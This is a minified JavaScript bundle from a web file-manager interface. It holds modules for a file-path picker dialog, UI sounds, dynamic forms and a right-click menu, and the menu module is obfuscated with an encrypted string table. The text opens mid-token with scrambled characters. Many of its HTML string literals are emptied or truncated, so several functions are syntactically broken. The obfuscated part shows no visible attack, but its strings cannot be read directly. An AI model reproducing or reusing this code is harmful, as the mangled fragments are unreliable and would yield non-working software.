t}}(["ghilqds2frpu1xoKvwJ{XkSj4L)@|'ez0/OQFnyGWb=?#%A}3m+,Et&(>8VIHUR^`75:*9\rZ;61?void(e=e.add(a)):void(h?("all"==b?l?c.file.push(i):c.folder.push(i):c.push(i),f=f.add(a)):e=e.add(a))}),e.length>=1&&e.removeClass("select"),l(c)},l=function(a){0==a.length||"all"==b&&0==a.file.length&&0==a.folder.length?f("selectChange",0):f("selectChange",a)}}};return d(),{pathSelect:function(a,b){var d={type:"file",single:!0,allowExt:"",firstPath:!1,makeUrl:!1,title:LNG.path_api_select_file,resize:!0,fixed:!0,top:"50%",ico:core.icon("folder"),lock:!0,background:"#000",animate:!0,opacity:.1,width:900,height:500,callback:function(){}},e={id:"pathSelectApi",ok:function(){if("function"==typeof a.callback){var b=g.DOM.wrap.find(".path-select-input").data("result");if(!b)return void Tips.tips(LNG.error,!1);if(b){var c=b;if(a.single&&"all"!=a.type&&(c=b[0]),a.makeUrl&&"file"==a.type)return i("makeUrl",c),!1;a.callback(c)}else Tips.tips(LNG.error,!1)}},cancel:!0};a=$.extend(d,a),"function"==typeof b&&(a.callback=b),e=$.extend(e,a);var f=G.appHost+"explorer&type=iframe";f+="&forceWap=0&fileSelect="+a.type,f+="&fileSelectSingle="+Number(a.single),f+="&fileSelectAllow="+a.allowExt,a.firstPath&&(f+="&path="+a.firstPath),$(".aui-state-highlight").addClass("disable"),e.content='';var g=$.dialog(e),h='';"file"==a.type&&(h+=''+a.allowExt+""),$(h).insertBefore($(g.DOM.wrap).find(".aui-state-highlight"));var i=function(a,b){var c={type:a,data:b};messengerParent.send(jsonEncode(c))},j=function(b){var c=jsonDecode(b);if(!c||!c.type)return void console.error("parse error!"+b,c);var d=c.type,e=c.data;if("makeUrl"==d)a.callback(e),$.artDialog.list.pathSelectApi.close();else if("selectChange"==d){var f=$(".pathSelectApi"),g=f.find(".path-select-input"),h=f.find(".aui-state-highlight");if(!e)return h.addClass("disable"),g.data("result",!1),void g.val("");h.removeClass("disable");var i="";if(a.single)i=core.pathThis(e[0]);else{var j=e,k=0;"all"==a.type&&(j=e.folder.concat(e.file)),$.each(j,function(a,b){i+='"'+core.pathThis(b)+'", ',k++}),i="["+k+"] "+rtrim(i,", ")}g.data("result",e),g.val(i)}},k=$("#pathSelectFrame").get(0).contentWindow;window.MessagerParentInit?messengerParent.addTarget(k,"ParentPage"):(window.messengerParent=new Messenger("ParentPage",c),messengerParent.addTarget(k,"ParentPage"),messengerParent.listen(j),window.MessagerParentInit=!0)},randomImage:function(a){var b=G.settings.pluginServer+"wallpage/index&lang="+G.lang+"&callback=?";$.getJSON(b,function(b){"function"==typeof a&&a(b)})}}});;define("app/common/core.playSound",[],function(a,b){var c={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},d=function(a){var b=G.staticPath+"others/sound/"+a;Hook.trigger("playSound",b)};return{playSoundFile:d,playSound:function(a){G&&G.userConfig&&"1"==G.userConfig.soundOpen&&setTimeout(function(){d(c[a])},50)}}});;define("app/common/core.formMake",[],function(a,b){var c,d,e,f={user:!1,group:!1,role:!1},g=function(){c=$("#"+d),c.find(".tab-group .tab-item").length>1?h():c.find(".tab-group").addClass("hidden"),c.find(".form-row.form-slider").exists()&&i(),c.find(".form-row.form-dateTime").exists()&&j(),c.find(".form-row.form-color").exists()&&k(),c.find(".form-row.form-fileSelect").exists()&&l(),c.find(".form-row select").exists()&&m(),c.find(".form-row.form-userSelect").exists()&&n(),c.find(".form-row.error [name]").die("change").live("change",function(){$(this).parents(".form-row.error").removeClass("error")}),c.find(".form-userSelect").die("click").live("click",function(){$(this).removeClass("error")})},h=function(){var a=c.find(".tab-content .tab-pane"),b=c.find(".tab-group .tab-item");a.each(function(){var d=$(this).attr("id"),e=c.find("."+d);e.length>0?e.appendTo($(this)):(a.filter("#"+d).remove(),b.find('[data-id="'+d+'"]').parent().remove())}),b.click(function(){b.removeClass("active"),$(this).addClass("active");var c=$(this).find("a").attr("data-id");a.removeClass("active"),a.filter("#"+c).addClass("active")})},i=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),a.async("lib/bootstrap-slider/bootstrap-slider.js",function(){c.find(".form-slider input").slider()})},j=function(){a.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){var a="zh-CN"==G.lang||"zh-TW"==G.lang?"ch":"en";c.find(".form-dateTime input").each(function(){var b=$(this).attr("data-format"),c=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],d=["H","h","i","s","A","a","b","g","G","O","P","c","U"],e=!1,f=!1;b||(b="Y/m/d");for(var g=0;g').before(''+core.iconSmall("group-guest")+"").removeClass("ico_docu").addClass("group_icon").remove(),b.level>=1){var f="";d.before(f)}$("#"+a+" #"+b.tId+"_a").attr("data-group-id",b.id)}},callback:{onClick:function(a,b,c){e(b,c)}}},e=function(b,c){var d=$("#"+c.tId+"_a");if(d.removeClass("curSelectedNode"),a.attr("multiple")){d.toggleClass("this");var e=a.val();$.isArray(e)||(e=[]),d.hasClass("this")?e.push(c.id):e=_.without(e,c.id),$.each(e,function(){var b=a.find("[value="+this+"]");b.detach(),a.append(b)}),a.val(e).trigger("change")}else $("#"+b+" [treenode_a].this").removeClass("this"),d.toggleClass("this"),a.val(c.id).trigger("change"),a.select2("close")},f=function(){var b=a.val(),c=$(".select2-container--open .group-list-tree").attr("id"),d=$.fn.zTree.getZTreeObj(c);$("#"+c+" [treenode_a]").removeClass("this"),"string"==typeof b&&(b=[b]),b&&d&&d.getNodesByFilter(function(a){inArray(b,a.id+"")&&$("#"+a.tId+"_a").addClass("this")})},g=function(a){var b=$(".select2-container--open .group-list-content");b.find(".select2-results__options,.group-list-tree").removeClass("hidden"),"search"==a?b.find(".group-list-tree").addClass("hidden"):b.find(".select2-results__options").addClass("hidden")},h=function(b){var e=function(a){a.unbind("change input").bind("change input",function(){g($(this).val().length>0?"search":"tree")})};if(e(a.attr("multiple")?a.parent().find(".select2-search__field"):$(".select2-container--open .select2-search__field")),$(".select2-container--open .group-list-tree").exists())return f(),void g("tree");a.on("open",function(){f()}).on("select2:unselect",function(a){f()});var h=UUID(),i='
        ';$(i).appendTo(".select2-container--open .select2-results"),$(".select2-container--open .select2-results__options").addClass("hidden").parent().addClass("group-list-content");var j=c(b);$.fn.zTree.init($("#"+h),d,j);var k=$.fn.zTree.getZTreeObj(h);k&&k.expandAll(!0),f(),g("tree")};h(b)},q=function(){var a={},b=[],d=function(a){for(var b={all:"0",user:"",group:"",role:""},c=a.split(";"),d=0;d0){Tips.tips(LNG.PluginConfigNotNull,"warning");var f=c.find(".panel-body"),g=c.find(".form-row.error");if(!g.parents(".tab-pane").hasClass("active")){var h=g.parents(".tab-pane").attr("id");c.find('.tab-group [data-id="'+h+'"]').click()}g.inScreen()||f.animate({scrollTop:g.offset().top-f.offset().top+f.scrollTop()},100),g.find("[name]").first().focus(),g.find(".setting-content").flash(3,100)}return{checked:0==b.length,error:b,result:a}},r=function(b){a.async(b,function(a){a&&($.isFunction(a)?a():"object"==typeof a&&a.hasOwnProperty("main")&&$.isFunction(a.main)&&a.main())})},s=function(a){if("string"==typeof a)return r(file),!1;if($.isPlainObject(a.formStyle)&&a.formStyle.loadFile){var b=a.formStyle.loadFile;"string"==typeof b&&(b=[b]),$.isArray(b)&&$(b).each(function(a,b){r(b)})}e=a,d=UUID();var c=template.compile(tplFormMake),f=c({LNG:LNG,items:a,wrapID:d});return f},t=function(a,b,c){var d=s(a);if(!d)return!1;var e={padding:0,fixed:!0,resize:!0,title:LNG.search,ico:core.icon("config"),width:700,height:510,content:d,okVal:LNG.button_save,ok:function(){var a=q();return a.checked?c(a.result):!1}};if($.isPlainObject(b))for(var f in b)e[f]=b[f];var h=$.dialog(e),i=h.DOM.wrap.find(".aui-title").html();return h.DOM.wrap.find(".modal-title").html(i),g(),h};return{makeHtml:s,bindEvent:g,getFormData:q,initDialog:t}});;var _kod_0x4121=['MVPCjhFo','wrU3wqDDrQ==','MiI4WSc=','w5xewr3Ck8KeGw==','wqF+w4U=','d8ODwrzDgcOK','VyVFw40gLyxrIcO6wro=','w5nDpxttGg==','KsOBwofCq8Kdw74=','HkfDh8KaEMKH','wrVvdcOnwqZdwqfDkAhuw64=','wqd0w5s=','wo9FWQ==','w68kwr9pBGg=','wqk/wqTDrXsw','WAfChj4=','wrdyw4oLwpoP','OcOMwprCvcKW','GxJ9wpTCgMOew5TDilgwwoo=','wotTwovClUnCpMKTwr9kPsKcwp/CqMOewpPCoF8oIm3DjcOwHg57wrM=','w74xwrl+','w4HCncKiw4DDi2M=','YcOuKMK0w6LDkg==','AknClQYDw63CoGDCtlzDu8KswqHDl8OGQMOWBsOTf8OSw4lpOn0Uwr3DnMO7w6tZw4skwr5Xw7fDhMOUw7ESwpJUwqYrw75RbMKmM3l8wqgD','BkfDhsK5DMKSFcOa','HhR9woQ=','w5Jcwr/Co8KXDsOCwp0=','BkfDhsK8EsKSC8OM','w4HCosKNw5rDqQ==','YEYLw5g=','I8KBw5zCvBIKw74dwqbDgXU=','R0/CogUp','wrpnw7hMbw==','wqIRw7QKbw==','UBDCuCdd','VkEXQn4=','SkcnWVJ4wpo0w7DCiMO3w6rCoz0=','A8Kcw4LCpDU=','wqDDhXp4aQ==','w4ZAwrbCo8Ka','BsO2w6hYwrU=','w58UwpJQRw==','K8OQwqfCmsK2','JHfClTpL','di/CpsKLDw==','cCh9w4UC','IcOhwpjCswA=','w7dsfcOHKQ==','IQ9ywpHCqA==','DkHClRbDjWk=','L8ObP8K5wr4=','w5DDoUvCrDk=','AMOjw6Rawoo=','WMKCWMO5TQ==','w77DqUDCijXDrw==','fX7CkAIg','BRtQwqXDmQ==','YMKywr5Jwpg=','dsK3eMO6bw==','YTHCpDRe','BcOswr7CnT8=','S8KsScORdg==','wpVhbcOXwoA=','KsOfwq3Cqhk=','XRrCkyBHwoBkJsKewqLDtQ==','FTRXwqPCoQ==','PnPCtQRh','FjRYw4k+CC4vK8O3wqAs','KcOmw7BNwrs=','D8OFE0k9','FF7Dn2EFw4pkeg==','asOgAcKbw4s=','woFcw6BiQQ==','MsKIw5jCsA8=','wrFHw7tCWA==','wozDjn5aR1XCtHXDpsKowo4yJcKEE8K+w6c=','AMOowofCpi7Dly7Dl8KBw5/Cjg==','MVDCiQZmw53DsmjClj/DuA==','wrZ+w5tAcFjChMKfIsKmOw==','wobCqV3Clw==','Uzl2w44W','IsO6w6tWwoE=','VBbCnDlhwpMsOsKowqfDoGYY','w4bDtCHDhsKQL8O0LcKKw6vDlw==','T8OlwoTCvMOddw==','HlrCiQvDhnZ5wo/DhRod','woXDgnFDe1rDtmE=','VyZ8w5Ao','CD1pwpc=','w43CpcKSw7jDkg==','O8KGw5DCkgk=','XEczUERZwpo=','VcKkXcOk','woJPdsO1fA==','C8OGw6F4wp5uw6hJ','wqdpw4IAwpINUQ==','Xk/CggsZwo3CsmfCrRbDp8Kzw6LCjg==','wphJUMO7asK3w6xX','w5XDtAhbNMOKwoo=','LSDCgsOtw5c=','I8OFKm07','X0PCiQYOwrTCuHs=','wr9+w4UAwoEA','Sk/CiRcIwrI=','WwrDngcyw4EPw4Y=','fcO1JcK3w6DDmVI=','e8Oawp/DjcOVw7M4wpXDoTLCr3UVH8KFwqE=','wpbCrlzClH4TUgUkw6vDgQ==','UMKiXcO0WkdsG8Ohw57Dng==','YyPCncKNNw==','ShbCnilLwpMmJQ==','wqZ0w5lRdlTCn8Kg','MB92wq7CpA==','wqZjw4YkwpQ=','W0EuRUNNwosXw6DDiMOx','w7HCgcOgYH0a','EsOhNUEF','w51waMO9Ag==','wrpldcO0wrdN','NsO0wpjCrcK0','UAfClyFb','IkEKw5jCvA==','BsOHw6tcwoZn','C8OGw6E=','w7wqwqN4D2RmwoHCjxJL','a0oLw4nCkGsoKA==','wrR1w5F3eUHCg8Kh','w5PDowxTJcOKwrsRN3DDpw==','HcOFCsKMwpE=','wqUBw54YYA==','VUsuRG9Bwpo3','ecORwpXDusOcw6o/wos=','wqF+w4YIwoMNYMOwK8Kow6A=','wroxwrjDvHA8ZHrDlMKewo0=','wqNdwpQqaMOJBlpcwp5bbUM=','wqwaw6YqYFtzU1UOQXMawq7CtMKF','DUnDm8KLG8KLDMOyw4/DkiM=','CcOGwojCszM=','ABXCrcO3w78=','MsKLw5/CpwEXw4k8wqLDnHM=','P1rCiQdKw5HDo0jCsD3DrEN3','w6DDilPCtXnDjAXDl3ETw5lOFMKHDR4=','wrB3w4oUwoYmQsOxLw==','RMOgwoHCq8OLV8OVOsK7','ThhDw6Aa','w4vCm8KUw5/DvA==','ccKHw57CvRAKw4UFw6rDn2PCr8OUw5DCiWMRV8OrTBlPHQpNb1hIwqplBcOvP8OrOsOwwp10w5HCmVFKwpPCtgs=','bSrCuHE=','w7fDo0fCiyPDsknDg8K8','IcK7P8Kgw6bDkgAnAsODOsOAw47ClkpdeMO2wrRcwqfDsCjDsQtLIsOHw5DCnQDDl1MRLMKWwrBu','w4TCl8Kgw4nDl3cCFXU=','w7IXwokvQMOTXR4=','KQTDuxkL','bkDClAIm','NsOaw73CpA==','wqsfw7olZw==','G1zCiRs=','VcKkQcOzSw==','w54Ew7/DucOd','w7MgwqNrHnQ=','wovDiHJbSVzDvWU=','w4bCm8Kuw4HDhWoNAw==','fsOOwprCqsKW','w6/CgcOjaH8X','woHDtirDnMKA','GMO9OUASwoJzw4s=','wrd0w5NbZ0U=','C8O0IkkYwoQ=','w714w4QJwoENW8OoZ8K2w7YnMsODL8OOwqom','wozDhmtX','w5BXwrXClMKeF8OFwqPCtnZ9','w6waw7s7d0M=','X8O5MU4Twpw=','w5JbwrjChcKIHMOawovCqg==','w4zDuCDDnA==','w6rDgk3CsQ==','w4ArwqxhDw==','wpzCtVfCjWg=','USRUw4Uh','wpfDvTLDvcO7w7/DmsOJ','asOoIcK9w6bDkkQ3','W08sXURUwpwxw7Y=','asOmIMK8w6XDnUMv','w74mwq5pGW95wqnCkw==','AsOkworCtzjDnDHDv8Kdw4I=','Rm1cBEPCpDVqMcK7T0c3b25iw5ROwobDq8OQUMKrwrXDhAnCvi/DtMKJHmTCjDnCm8OfLcKdw4/CoAVDEMKcQcOMLn/DjA==','w5DDt2E=','T0fCiQ8PwqHCtGI=','w6XDk1DCsXXDhDTCmA==','ZyHCusO6w6o=','TClBw40=','ADIhbA==','GMO6PlgTwohiw6jCo3Jr','wpTCpVbCo3cKVTs=','YCTCu2DDhMK9w7nDi8OuNcK+MVHDsQQpw5rDulE2','XsOUwp7Du8OZ','c0NL','NsONw7fCp3M=','wpPCqFzChA==','w4LDvSLDosKs','CsOzwozCvzg=','w6nDhk7CoVLDlAXCmlAUw4tNGsKO','wrB0w4UTwpAQV8ORL8K1w6Y=','w7vDpUrCmxnDtUfDi8KGKcOqcsK5','CDVuwpfDsxDDj8KzwoTDhMK7w4LDuB1ywrA=','Bzw7eS/DlUguaMK5Uw==','w4Upw6PDhMOcIMOgw6caWMKiwoY=','OXDCjAtx','wppVwoLCiVjCkcKCwpx0fsKa','FRh9wpXCrMOSw4XDqm42wpA2','w7TCrMK2w43DqQ==','fsONwpDCoMKG','SE/ClgIPwqzCsg==','CE/Dm8Kb','wpfCqMK2w4vDrcKLHsKm','O8OEwpHCjcKfw6vDpik=','LsOSwpzCqcKUw6/Dpw==','YH46cGs=','wopfwoDCmF7CncKZwqM=','woHCs1vCh3wOVA==','wo5QYcOSwo4=','DBnDmQESw5cGw441I8K8IFU=','b8Kqwrd/wo3CpA==','D8OaNsKswrHDn8KFNBcvwpw=','MSrCuMOxw7kR','ICDCu8Oqw6oMwoYVwp9pwos=','woZJUsOrSMKnw6c=','dcOQwp/DjMOD','S0ssVEVBwpAo','KiHCscO7w7c7wpQ=','QVzDhxzDj29+wrHCnVYOS8OJVRvCmxHDhMKpEmh+J8OJw4TDosKQwonDhVLDu1tHQ8KNwqnDp8OgZjZxw7zCrQkkw5pAM8OgHMOmClYOwooiBMOhw59fwoXCnUw6ECHDi8OPw5LDqhcUH8OkwpnCj8ONwodOw4HDh8Knw5RawrnCmcKFV8OoEllOHkTDrMKPEQ==','eMKew4nDocKawrQ=','B2HDuMKsNg==','w4nCqBLCg3cKVTt8wqfDksKYKh3Cg8KuwrtXw6jDqA==','AyI4Xzo=','wrdTX8Obwqs=','wqptwq7Cn0k=','w7lwwpTCssKx','wopOwp7ClFPCjg==','dgfCgQRb','w6ICw4TDqcOF','IsOrwpHCl8Kn','ehJAw54l','ecOyP8K4','WwnCg2zDlw==','wpVfwoLCmknCgQ==','FlDCng==','cE4Jw4nCvA==','Ji7CtsO2','T0rChBAewo7CtmTCvQ==','ZMKvwrJowpvChMOpRjw=','IhzCkcOWw6c=','wpbCrVPCk2glRyUk','EBjCl8O8w7s=','R8O5OQwVwpx3w5bCtSE8Ul9CM33CuHVuw5EWwpXDg2dmWsKZABg=','wp9Zw7pmXw==','w4Ytw6DDlA==','JnrCgMKIJQnDi2vDoAbCjWLCp2bCskTCpXXDtH4LfsOnw482wo8yVsKnCsOew5cSTT9xA8KX','UsKuUMOlTExzM8O9','Y8OVw7vDqmPCo2xowoldwqgdw6ARwrPDmsK4KkZTw73CgRvCsTZWwqYpJQ==','wpnDqD/Dk8KbaQ==','P2TCpmTDgMKrwrPDmsKsPMK5eg==','WsOQDsKyw7M=','wpbCrl/CjXoFQjs=','S8Opwo7Cv8OMcQ==','dlLCghx2','w7wtwqRgDm53wqI=','M8OYw6HCvg==','w7fDplDCiyI=','Q8OtwpTCuQ==','I8Kqwr1rwp3Cvg==','wqDDj0HCtn7DjA==','WU0jVFVGwpQ/w7w=','M8ODwprCoA==','F8KjXMOkWg==','w7/DtEHCgyM=','OMObw7zCpU0=','ZMKiwr93worCq8OrQCo=','CcODw6lXwpBuw7hR','wpTColHChWgYTS04','fMK5QMOITA==','wpxvw5gvwoY=','w5ULwoRUOg==','J8Oyw7bCk1Q=','wphKwpzCmFPCjcKiwr4=','HD1Uw4Yn','wrZOwp/CtU4=','woHDvnE=','w5JIwqvChcKVC8OlwoE=','wqJ5a8O2','SEfCkQI=','w5rCo8Kxw4zDqcKRBsKOBEph','wphewojCvlHCiMKFwqI=','Ajo7aQ==','w4FoIw==','Y8Kiwqd6','w7kswqNo','woFUcMOawpM=','woHDk3pbWw==','wo7DjnFS','Lh5swoDDpg==','S8Olw44=','w4zDryrDn8KG','ccKPQsO2SA==','wp9RwrvCskk=','FHLCgBpZ','NsOawoHDnMOewqY7wpHDqjjCtThRWMKTwqHCv8O6w4bDq8KbUURYD3t9ZXQlw6gzI8O5woRPSErCjcOnwrnCisKQwqLDisKew598woZoaGLChQ==','wpZaw4ZMbQ==','YsKBwqZ+wrk=','JybCtMOyw6ATw587wptpw5N0w4HCvcOyw6nDuQ==','UMOceMK7wrjDhsKCCk9jwo0ZO8K3wopEwo/DnWctwpDCiMOzNx0TEA==','wprCvsK2w5/DpMKdP8KmD1E=','w6LDlk7Ct2/DiQ/CmQ==','TsOiwobCtw==','w4zCiXxZRkbDvG7Ds8KLw4YuNcOXE8K3wqLDvsKqw5HDsAjDlMOMwp/Dv2UoYBA=','wrldw6dCdw==','w4bCmMKsw5/DgQ==','Q8OlwoHCtMOXfsKZJsKrW8Og','ZyLCtHjDjsKiwqDCi8OiKA==','DsOLw6RXwp1ow4RXO8OO','w7LDqUXCgj/Dpg/Di8KsKw==','N8OJwpvCu8KA','F8OXwqrCtwA=','GMOyHWc6','wobDtznDosO/w6LDlg==','w4bDqg5eNg==','FRBjwpPCvw==','w7XDkUPCu3/DhQ==','HmvCtDph','CFLClwoKwqfCsns=','XDlQw4Q9AA==','w59RwqjClA==','bMKqwoFDwoo=','NlbChh5sw4LCq0jCkik=','BcODwpnCp8KQw6HDmDvCrg==','CcOwNl4TwoN+','D1DCgQ3Dhn1l','DMO3wozCvGbDmDPDtMKAw57CjA==','bDvCsHrDtsKsw6PCgsOsJw==','w6g3wqx8','EMO1woo=','w5jCuMKrw4o=','DsOLw6RXwp1o','S8OlwpPCrA==','J8OQF8K/wo4=','w5VRwrXChA==','wprDgnJZXlfDmnrDpsK1w5A=','wp9TwoLCmQ==','wonDg3t1RFPDqmU=','w7rCh8Ksw4DDtA==','wpDCg0fChUo=','woNNT8OdZcKiw7BW','LsOeGUgs','XkPCiAwbwqXClGXCuUvDpw==','QcOlwo7CvA=='];(function(_0x2d229d,_0x1a0f4f){var _0x4791e3=function(_0x35c851){while(--_0x35c851){_0x2d229d['push'](_0x2d229d['shift']());}};_0x4791e3(++_0x1a0f4f);}(_kod_0x4121,0x182));var _kod_0x46d5=function(_0x31d508,_0x192c83){_0x31d508=_0x31d508-0x0;var _0x54e27e=_kod_0x4121[_0x31d508];if(_kod_0x46d5['alPeJt']===undefined){(function(){var _0x59794a;try{var _0x4f56db=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x59794a=_0x4f56db();}catch(_0x5b1c5c){_0x59794a=window;}var _0x42da3a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x59794a['atob']||(_0x59794a['atob']=function(_0x205346){var _0x53818a=String(_0x205346)['replace'](/=+$/,'');for(var _0x969ae0=0x0,_0x16cc7b,_0x2d32fd,_0x1b942c=0x0,_0x3ab706='';_0x2d32fd=_0x53818a['charAt'](_0x1b942c++);~_0x2d32fd&&(_0x16cc7b=_0x969ae0%0x4?_0x16cc7b*0x40+_0x2d32fd:_0x2d32fd,_0x969ae0++%0x4)?_0x3ab706+=String['fromCharCode'](0xff&_0x16cc7b>>(-0x2*_0x969ae0&0x6)):0x0){_0x2d32fd=_0x42da3a['indexOf'](_0x2d32fd);}return _0x3ab706;});}());var _0x5a9ecd=function(_0xe26b0,_0x372972){var _0x48f6e8=[],_0x312ba5=0x0,_0x322e96,_0x585eed='',_0x55aa73='';_0xe26b0=atob(_0xe26b0);for(var _0x4f675f=0x0,_0x403772=_0xe26b0['length'];_0x4f675f<_0x403772;_0x4f675f++){_0x55aa73+='%'+('00'+_0xe26b0['charCodeAt'](_0x4f675f)['toString'](0x10))['slice'](-0x2);}_0xe26b0=decodeURIComponent(_0x55aa73);for(var _0x33fa38=0x0;_0x33fa38<0x100;_0x33fa38++){_0x48f6e8[_0x33fa38]=_0x33fa38;}for(_0x33fa38=0x0;_0x33fa38<0x100;_0x33fa38++){_0x312ba5=(_0x312ba5+_0x48f6e8[_0x33fa38]+_0x372972['charCodeAt'](_0x33fa38%_0x372972['length']))%0x100;_0x322e96=_0x48f6e8[_0x33fa38];_0x48f6e8[_0x33fa38]=_0x48f6e8[_0x312ba5];_0x48f6e8[_0x312ba5]=_0x322e96;}_0x33fa38=0x0;_0x312ba5=0x0;for(var _0x13fc9d=0x0;_0x13fc9d<_0xe26b0['length'];_0x13fc9d++){_0x33fa38=(_0x33fa38+0x1)%0x100;_0x312ba5=(_0x312ba5+_0x48f6e8[_0x33fa38])%0x100;_0x322e96=_0x48f6e8[_0x33fa38];_0x48f6e8[_0x33fa38]=_0x48f6e8[_0x312ba5];_0x48f6e8[_0x312ba5]=_0x322e96;_0x585eed+=String['fromCharCode'](_0xe26b0['charCodeAt'](_0x13fc9d)^_0x48f6e8[(_0x48f6e8[_0x33fa38]+_0x48f6e8[_0x312ba5])%0x100]);}return _0x585eed;};_kod_0x46d5['GDsDvt']=_0x5a9ecd;_kod_0x46d5['laRHkJ']={};_kod_0x46d5['alPeJt']=!![];}var _0x433411=_kod_0x46d5['laRHkJ'][_0x31d508];if(_0x433411===undefined){if(_kod_0x46d5['gxHisE']===undefined){_kod_0x46d5['gxHisE']=!![];}_0x54e27e=_kod_0x46d5['GDsDvt'](_0x54e27e,_0x192c83);_kod_0x46d5['laRHkJ'][_0x31d508]=_0x54e27e;}else{_0x54e27e=_0x433411;}return _0x54e27e;};define('app/common/rightMenuExtence',[],function(_0x2e0a04,_0xc14c8e){var _0x326a5b={};_0x326a5b[_kod_0x46d5('0x0',']y0&')]=function(_0x4c2152,_0x223f23){return _0x4c2152===_0x223f23;};_0x326a5b['amRqp']='GcIXW';_0x326a5b[_kod_0x46d5('0x1','(26G')]=function(_0xac0739,_0x41d982){return _0xac0739(_0x41d982);};_0x326a5b['hQQTv']='contextMenu';_0x326a5b[_kod_0x46d5('0x2','w@%x')]=function(_0x503bfc,_0x505263){return _0x503bfc&&_0x505263;};_0x326a5b[_kod_0x46d5('0x3','CpJI')]='.disable';_0x326a5b[_kod_0x46d5('0x4','#bfE')]=function(_0x126e60,_0xc1032e){return _0x126e60+_0xc1032e;};_0x326a5b['XPzAM']=_kod_0x46d5('0x5','#bfE');_0x326a5b[_kod_0x46d5('0x6','oApp')]=':not(.menu-not-auto-hidden)';_0x326a5b[_kod_0x46d5('0x7',')b(p')]=_kod_0x46d5('0x8',')Zq2');_0x326a5b[_kod_0x46d5('0x9','$zeB')]=_kod_0x46d5('0xa','GheG');_0x326a5b['mrKSb']=_kod_0x46d5('0xb','tepW');_0x326a5b[_kod_0x46d5('0xc','Ghlq')]=function(_0x4ad72b,_0x3a8578){return _0x4ad72b==_0x3a8578;};_0x326a5b[_kod_0x46d5('0xd','E[tg')]=function(_0x463470,_0x4bc18b){return _0x463470+_0x4bc18b;};_0x326a5b[_kod_0x46d5('0xe','h*gi')]=function(_0x18d522,_0x4c8e70){return _0x18d522+_0x4c8e70;};_0x326a5b[_kod_0x46d5('0xf','gz7W')]=function(_0x4a16b4,_0x149b87){return _0x4a16b4+_0x149b87;};_0x326a5b[_kod_0x46d5('0x10','amMN')]=''),h(f[_kod_0x46d5('0x7b','a0nd')]))+''+_0x483f12,'');}var _0x5d7688=$(_0x1ed64f)[_kod_0x46d5('0x7c','w@%x')](),_0x53bb5a=_0x31f62f||d,_0x48f6a4=_0xbdb30f['$menu'][_kod_0x46d5('0x7d','J]Hl')](_0x53bb5a)[_kod_0x46d5('0x7e','6D#W')]();_0x326a5b[_kod_0x46d5('0x7f','8JG7')](0x0,_0x48f6a4[_kod_0x46d5('0x80','ZNFv')])&&_0xbdb30f[_kod_0x46d5('0x81',')b(p')][_0x53bb5a]&&(_0x48f6a4=_0xbdb30f[_kod_0x46d5('0x82',')T(f')][_0x53bb5a][_kod_0x46d5('0x83','tepW')]),0x0==_0x48f6a4[_kod_0x46d5('0x84','zjue')]&&(_0x48f6a4=_0xbdb30f[_kod_0x46d5('0x85',')Cl!')][_kod_0x46d5('0x86','Svi#')]()['last']()),_0x31f62f?_0x48f6a4['after'](_0x5d7688):d&&_0x48f6a4[_kod_0x46d5('0x87','(26G')](_0x5d7688);var _0x31ae2a=_0x5d7688[_kod_0x46d5('0x88','Svi#')](_kod_0x46d5('0x89','Yv8t'))[_kod_0x46d5('0x8a',')b(p')](_kod_0x46d5('0x8b',')Zq2'));_0x5d7688[_kod_0x46d5('0x39','#I7Z')]({'contextMenu':_0x31ae2a,'contextMenuKey':_0x6929fc,'contextMenuRoot':e});var _0x4c794c={};_0x4c794c[_kod_0x46d5('0x8c','w@%x')]=null;_0x4c794c[_kod_0x46d5('0x8d','Svi#')]=null;_0x4c794c[_kod_0x46d5('0x8e',')Zq2')]=f.accesskey;_0x4c794c['className']=f.className;_0x4c794c[_kod_0x46d5('0x8f',')Cl!')]=f.icon;_0x4c794c[_kod_0x46d5('0x90','A[bK')]=f.name;_0x4c794c[_kod_0x46d5('0x91','ZNFv')]=_0x483f12;_0x4c794c[_kod_0x46d5('0x5a','coI9')]=_0x5d7688;if(_0x31ae2a&&(_0x31ae2a[_kod_0x46d5('0x55','Svi#')]||(_0x31ae2a[_kod_0x46d5('0x92','Tg#C')]={}),_0x31ae2a[_kod_0x46d5('0x93','h*gi')][_0x6929fc]=_0x4c794c),_0x326a5b['YraqM']!=typeof f&&(_0xbdb30f[_kod_0x46d5('0x94','KCJX')]||(_0xbdb30f[_kod_0x46d5('0x95','KaAL')]={}),_0xbdb30f['commands'][_0x6929fc]=_0x4c794c,e['commands'][_0x6929fc]=_0x4c794c,e[_kod_0x46d5('0x96','#bfE')][_0x6929fc]=function(_0x337020,_0x3bccb4){f[_kod_0x46d5('0x97','KaAL')](_0x337020,_0x3bccb4);},f[_kod_0x46d5('0x98','ZNFv')]&&(e[_kod_0x46d5('0x99','gz7W')][f[_kod_0x46d5('0x8e',')Zq2')]]=_0x4c794c),f['items'])){var _0x485b5f=_0x6929fc+'-first-item',_0x1ed64f=_0x326a5b['Cngaj']+_0x6929fc+_kod_0x46d5('0x9a','L)pg')+_0x485b5f+'\x22>\x09\x09\x09\x09\x09';$(_0x1ed64f)['appendTo'](_0x5d7688),_0x4c794c['$menu']=_0x5d7688[_kod_0x46d5('0x3d','6D#W')](_0x326a5b['BfqaK'](_kod_0x46d5('0x9b',')Cl!'),_0x6929fc)),_0x4c794c[_kod_0x46d5('0x9c',']y0&')]=null,_0x4c794c[_kod_0x46d5('0x9d','A[bK')]=_0x4c794c[_kod_0x46d5('0x9e','(i@T')],_0x4c794c[_kod_0x46d5('0x9f','h*gi')]='sub',_0x5d7688[_kod_0x46d5('0xa0','L)pg')](_kod_0x46d5('0xa1','Svi#'),_0x4c794c)[_kod_0x46d5('0xa2','Tg#C')](_kod_0x46d5('0xa3','srTF')),_0x5d7688['find'](_0x326a5b[_kod_0x46d5('0xa4','&q8#')](_kod_0x46d5('0xa5','coI9'),_0x6929fc))[_kod_0x46d5('0x8a',')b(p')]({'contextMenuRoot':e,'contextMe